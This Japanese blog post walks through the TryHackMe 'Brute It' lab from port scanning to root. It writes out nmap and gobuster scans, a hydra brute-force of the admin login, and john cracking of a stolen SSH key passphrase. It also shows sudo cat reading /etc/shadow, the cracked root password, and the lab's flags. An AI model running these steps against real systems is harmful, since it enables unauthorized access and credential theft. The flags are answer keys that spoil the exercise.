1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Brute It:Walkthrough

Posted at

概要

TryHackMe「Brute It」のWalkthroughです。

Task2

Q1.How many ports are open?

Hint.nmap -sS -sV MACHINE_IP

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.75.239 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:0e:bf:14:fa:54:b3:5c:44:15:ed:b2:5d:a0:ac:8f (RSA)
|   256 d0:3a:81:55:13:5e:87:0c:e8:52:1e:cf:44:e0:3a:54 (ECDSA)
|_  256 da:ce:79:e0:45:eb:17:25:ef:62:ac:98:f0:cf:bb:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)

A.2

Q2.What version of SSH is running?

A.OpenSSH 7.6p1

Q3.What version of Apache is running?

A.2.4.29

Q4.Which Linux distribution is running?

A.Ubuntu

Q5.What is the hidden directory?

Hint.gobuster dir -u MACHINE_IP -w common.txt

gobusterでディレクトリスキャンをします。

$ gobuster dir -u 10.10.75.239 -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.75.239
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/admin                (Status: 301) [Size: 312] [--> http://10.10.75.239/admin/]
/index.html           (Status: 200) [Size: 10918]
/server-status        (Status: 403) [Size: 277]

A./admin

Task3

Q1.What is the user:password of the admin panel?

Hint.Use hydra to brute it

/adminにアクセスするとログインフォームが表示されました。

image.png

ソースコードを見ると、ユーザー名がadminだと分かりました。

image.png

Hydraでブルートフォース攻撃をしてパスワードを探します。

$ hydra -f -l admin -P /usr/share/wordlists/rockyou.txt 10.10.94.152 http-post-form "/admin/:user=admin&pass=^PASS^:F=Username or password invalid" -t 40

[80][http-post-form] host: 10.10.94.152   login: admin   password: xavier

A.admin:xavier

Q2.What is John's RSA Private Key passphrase?

Hint.Use john the ripper to crack the RSA Private Key file.

ログインに成功しました。

image.png

/admin/panel/id_rsaからSSH秘密鍵を入手できました。

image.png

ファイルの保存してJohnTheRipperでパスフレーズを特定します。

$ ssh2john id_rsa > id_hash.txt

$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

rockinroll       (id_rsa)

A.rockinroll

Q3.user.txt

johnアカウントにSSH接続出来ました。

$ ssh -i id_rsa john@10.10.94.152
john@bruteit:~$

/home/john/user.txtからユーザーフラグを入手できました。

john@bruteit:~$ cat user.txt 
THM{a_password_is_not_a_barrier}

A.THM{a_password_is_not_a_barrier}

Q4.Web flag

A.THM{brut3_f0rce_is_e4sy}

Task4

Q1.What is the root's password?

Hint.Search for gtfobins

sudo -lを確認します。

$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat

catコマンドがroot権限で実行可能になっています。
/etc/shadowでrootアカウントのパスワードハッシュを取得します。

$ sudo /bin/cat /etc/shadow
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::

ハッシュ値からパスワードを特定できました。

$ john root_hash --wordlist=/usr/share/wordlists/rockyou.txt

football         (?)

A.football

Q2.root.txt

得られたパスワードでrootアカウントに昇格出来ました。

$ su root
Password: 
root@bruteit:/home/john# whoami
root

/root/root.txtからルートフラグを入手できました。

# cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}

A.THM{pr1v1l3g3_3sc4l4t10n}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?